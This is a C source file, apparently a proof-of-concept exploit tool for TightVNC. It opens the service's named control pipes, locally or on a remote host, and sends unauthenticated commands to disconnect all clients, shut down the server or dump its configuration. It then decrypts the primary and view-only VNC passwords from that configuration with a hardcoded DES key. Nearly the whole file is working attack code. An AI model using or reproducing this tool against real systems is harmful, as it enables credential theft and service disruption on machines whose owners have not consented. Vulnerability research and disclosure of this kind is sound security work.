/* * * Copyright (c) 2025 Zevedei Ionut * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ #include #include #include #include #include "descrypt.h" #define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF) #define BUFFER_SIZE 512 #define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06 #define TVNC_CMD_GET_CLIENT_LIST 0x04 #define TVNC_CMD_SHUTDOWN_SERVER 0x07 #define TVNC_CMD_GET_SERVER_INFO 0x11 #define TVNC_CMD_GET_CONFIG 0x12 const unsigned int commands[6] = { TVNC_CMD_DISCONNECT_ALL_CLIENTS, TVNC_CMD_GET_CLIENT_LIST, TVNC_CMD_SHUTDOWN_SERVER, TVNC_CMD_GET_SERVER_INFO, TVNC_CMD_GET_CONFIG, }; unsigned char des_key[8] = { 23, 82, 107, 6, 35, 78, 88, 7 }; void get_bytes(unsigned int data, unsigned char* out) { out[0] = GETBYTE(data, 3); out[1] = GETBYTE(data, 2); out[2] = GETBYTE(data, 1); out[3] = GETBYTE(data, 0); } // printf is wonky when printing passwords later void print_passwd(unsigned char* passwd) { for (int i = 0; i < 8; i++) { printf("%c", passwd[i]); } printf("\n"); } void print_error(unsigned long error_code) { unsigned char* buffer; // damn it windows... FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error_code, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &buffer, 0, NULL); printf("[error]: %s\n", buffer); } void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) { unsigned char primary_passwd[8] = { 0x00 }; unsigned char view_only_passwd[8] = { 0x00 }; printf("\n\tencrypted primary password: "); for (int i = 0; i < 8; i++) { primary_passwd[i] = buffer_ptr[offset + 8 + i]; printf("%02x ", primary_passwd[i]); } printf("\n\tencrypted view-only password: "); for (int i = 0; i < 8; i++) { view_only_passwd[i] = buffer_ptr[offset + i]; printf("%02x ", view_only_passwd[i]); } unsigned char primary_passwd_decrypted[8] = { 0x00 }; unsigned char view_only_passwd_decrypted[8] = { 0x00 }; decrypt(primary_passwd_decrypted, view_only_passwd, sizeof(primary_passwd_decrypted), des_key); decrypt(view_only_passwd_decrypted, primary_passwd, sizeof(view_only_passwd_decrypted), des_key); printf("\n\tdecrypted primary password: "); print_passwd(primary_passwd_decrypted); printf("\tdecrypted view-only password: "); print_passwd(view_only_passwd_decrypted); } BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) { unsigned long pipe_mode; BOOL result = FALSE; printf("[~] opening pipe %s...\n", pipe_name); while (1) { *handle_ptr = CreateFile( pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ); if (*handle_ptr != INVALID_HANDLE_VALUE) { printf("[+] pipe opened\n"); break; } if (GetLastError() != ERROR_PIPE_BUSY) { printf("[-] could not open pipe\n"); print_error(GetLastError()); return FALSE; } printf("[~] waiting for named pipe to be available - if this hangs the pipe server might be dead.\n"); WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER); } pipe_mode = PIPE_READMODE_BYTE; result = SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL); if (!result) { printf("[-] failed setting pipe read mode\n"); print_error(GetLastError()); return result; } return result; } int main(int argc, char* argv[]) { HANDLE pipe_handle = NULL; unsigned char message[8] = { 0x00 }; unsigned char buffer[BUFFER_SIZE] = { 0x00 }; BOOL result = FALSE; unsigned long bytes_read, bytes_written; unsigned int cmd_index = 0; unsigned int offset = 30; if (argc < 3) { printf("usage: %s \n", argv[0]); printf("offset - optional: default is 30 - change as needed\n"); printf("commands:\n"); printf("\t1 - disconnect all clients\n"); printf("\t2 - get client list\n"); printf("\t3 - shutdown server\n"); printf("\t4 - get server info\n"); printf("\t5 - get server config\n"); printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Control\n"); printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n"); return 0; } char* stop = NULL; cmd_index = strtol(argv[1], &stop, 10); if (stop == '\0') { return 0; } cmd_index--; if (argc == 4) { stop = NULL; offset = strtol(argv[3], &stop, 10); if (offset == 0 || stop == '\0') { return 0; } } if (!open_pipe(&pipe_handle, argv[2])) { goto exit; } printf("[i] sending command...\n"); get_bytes(commands[cmd_index], message); result = WriteFile(pipe_handle, message, 8, &bytes_written, NULL); if (!result) { printf("[-] failed writing to pipe\n"); print_error(GetLastError()); goto exit; } printf("[~] message sent; waiting for reply\n"); do { result = ReadFile( pipe_handle, buffer, BUFFER_SIZE * sizeof(unsigned char), &bytes_read, NULL ); if (!result && GetLastError() != ERROR_MORE_DATA) break; printf("[+] got %d bytes back!\n", bytes_read); printf(" hex: \n\t"); for (int i = 0; i < bytes_read; i++) { printf("%02x ", buffer[i]); } printf("\n char: \n\t"); for (int i = 0; i < bytes_read; i++) { printf("%c", buffer[i]); } printf("\n\n"); if (cmd_index == 4) { printf("\n[~] command is get config, attempting to decrypt passwords using offset %d...\n", offset); decrypt_passwords(&buffer, offset); } memset(buffer, 0, BUFFER_SIZE); } while (!result); if (!result) { printf("[-] failed reading from pipe\n"); print_error(GetLastError()); goto exit; } printf("\n[+] done\n\n"); exit: if (pipe_handle != NULL) { CloseHandle(&pipe_handle); } return 0; }